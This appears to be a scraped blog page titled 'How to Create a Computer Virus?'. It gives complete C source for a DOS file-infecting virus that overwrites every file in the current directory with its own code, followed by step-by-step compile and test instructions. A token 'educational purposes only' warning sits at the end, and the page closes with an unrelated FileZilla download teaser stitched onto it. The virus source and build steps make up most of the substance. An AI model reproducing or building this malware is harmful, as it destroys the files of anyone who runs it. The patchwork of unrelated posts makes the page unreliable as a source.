How to Create a Computer Virus?

<div dir="ltr" style="text-align: left;" trbidi="on"><h2 style="text-align: center;"><span style="background-color: white; line-height: 20.796875px;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: x-large;"><b>How to Create a Computer Virus?</b></span></span></h2><div class="separator" style="clear: both; text-align: center;"><a href="http://technoshastr.files.wordpress.com/2012/04/folder-computer-virus-thumb2331288.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://technoshastr.files.wordpress.com/2012/04/folder-computer-virus-thumb2331288.jpg" /></a></div><div><span style="background-color: white; line-height: 20.796875px;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: x-large;"><b><br /></b></span></span></div><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">  </span><br /><div class="stb-info_box" id="stb-box-5135" style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">#include<stdio.h><br />#include<io.h><br />#include<dos.h><br />#include<dir.h><br />#include<conio.h><br />#include<time.h> FILE *virus,*host;<br />int done,a=0;<br />unsigned long x;<br />char buff[2048];<br />struct ffblk ffblk;<br />clock_t st,end;<br />void main()<br />{<br />st=clock();<br />clrscr();<br />done=findfirst(“*.*”,&ffblk,0);<br />while(!done)<br />{<br />virus=fopen(_argv[0],”rb”);<br />host=fopen(ffblk.ff_name,”rb+”);<br />if(host==NULL) goto next;<br />x=89088;<br />printf(“Infecting %s\n”,ffblk.ff_name,a);<br />while(x>2048)<br />{<br />fread(buff,2048,1,virus);<br />fwrite(buff,2048,1,host);<br />x-=2048;<br />}<br />fread(buff,x,1,virus);<br />fwrite(buff,x,1,host);<br />a++;<br />next:<br />{<br />fcloseall();<br />done=findnext(&ffblk);<br />}<br />}<br />printf(“DONE! (Total Files Infected= %d)”,a);<br />end=clock();<br />printf(“TIME TAKEN=%f SEC\n”,<br />(end-st)/CLK_TCK);<br />getch();<br />}</div><div style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;"> </div><h3 style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitMHh08v-XwJC0c5sRI8fWdQUHOPDGcYfHd3x41Q5mxRYkwDA2VE_S-QyZ2dNGSmHr35wuUadQUP6ZPWUySaf0ExU4Cu7RoF2f_NBhEYIiU_CGaXSF-YRb76SjvT4T0B_uwKdCqnTCgBvU/s1600/dot.gif); background-position: 50% 100%; background-repeat: repeat no-repeat; font-family: Arial, sans-serif; font-size: 22px; line-height: 20.796875px; margin: 0px; padding: 7px 0px 15px; width: 543px;">COMPILING METHOD:</h3><div style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;"> </div><strong style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">USING BORLAND TC++ 3.0 (16-BIT):</strong><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">1. Load the program in the compiler, press Alt-F9 to compile</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect</span><br /><div style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;"> </div><strong style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">USING BORLAND C++ 5.5 (32-BIT) :</strong><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">1. Compile once,note down the generated EXE file length in bytes</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">2. Change the value of X in source code to this length in bytes</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">3. Recompile it.The new EXE file is ready to infect</span><br /><div style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;"> </div><h3 style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitMHh08v-XwJC0c5sRI8fWdQUHOPDGcYfHd3x41Q5mxRYkwDA2VE_S-QyZ2dNGSmHr35wuUadQUP6ZPWUySaf0ExU4Cu7RoF2f_NBhEYIiU_CGaXSF-YRb76SjvT4T0B_uwKdCqnTCgBvU/s1600/dot.gif); background-position: 50% 100%; background-repeat: repeat no-repeat; font-family: Arial, sans-serif; font-size: 22px; line-height: 20.796875px; margin: 0px; padding: 7px 0px 15px; width: 543px;">HOW TO TEST:</h3><div style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;"> </div><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">1. Open new empty folder</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">3. Run the virus EXE file there you will see all the files in the current directory get infected.</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">4. All the infected files will be ready to reinfect</span><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><br style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;" /><span style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;">That’s it</span><br /><div class="stb-warning_box" id="stb-box-6772" style="background-color: white; font-family: Arial, sans-serif; font-size: 13px; line-height: 20.796875px;"><strong>WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE</strong></div></div>

How to Create a Computer Virus?

How to Create a Computer Virus?This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the…

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FileZilla Full Version Free Download

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;"><img alt="Filezila Free Download" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEsRYl15q9pupJ7y9q-Ijn7o7hS5MUPOItjwRR6zIQlBNaSRaKByyzG4M3TXTTIhBaX5Lwizdor3y0bOlS_NK7VG3A8ebAdydp340wo0MdkjfRj1i-KlIGaErG8veBnNeLgDMdI35dJ6LI/s320/File+Zila+by+Pcustaad.com.png" title="Filezila Free Download" width="320" /></div>FileZilla is free in addition to cross-display-place FTP (stand for file transfer protocol) software, FileZila has two types of Version FileZilla Client plus FileZilla Server. Binaries are obtainable intended for Windows, Linux, plus Mac OS X.<br /><a name='more'></a><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://sourceforge.net/projects/filezilla/files/latest/download" rel="nofollow" target="_blank"><img alt="FileZilla Full Version Free Download" border="0" height="185" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE-7BP1Twp8e6yFdh7AngBn7xj-fPbItQKNS0kcPVNSOP2Uod63QuvSEcHC-yE3suxxnEvD5nG2yZhmLY6Tg_ooAWqKb4YHHzK8VmlvTzzeA7vAF4t5eYbgx_mn9dof6cc03qOHMEuq8g/s320/without+password+download.jpg" title="FileZilla Full Version Free Download" width="320" /></a></div><br /></div>

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FileZilla Full Version Free Download

FileZilla is free in addition to cross-display-place FTP (stand for file transfer protocol) software, FileZila has two types of Version FileZilla Client plus FileZilla Server. Binaries are obtainable …

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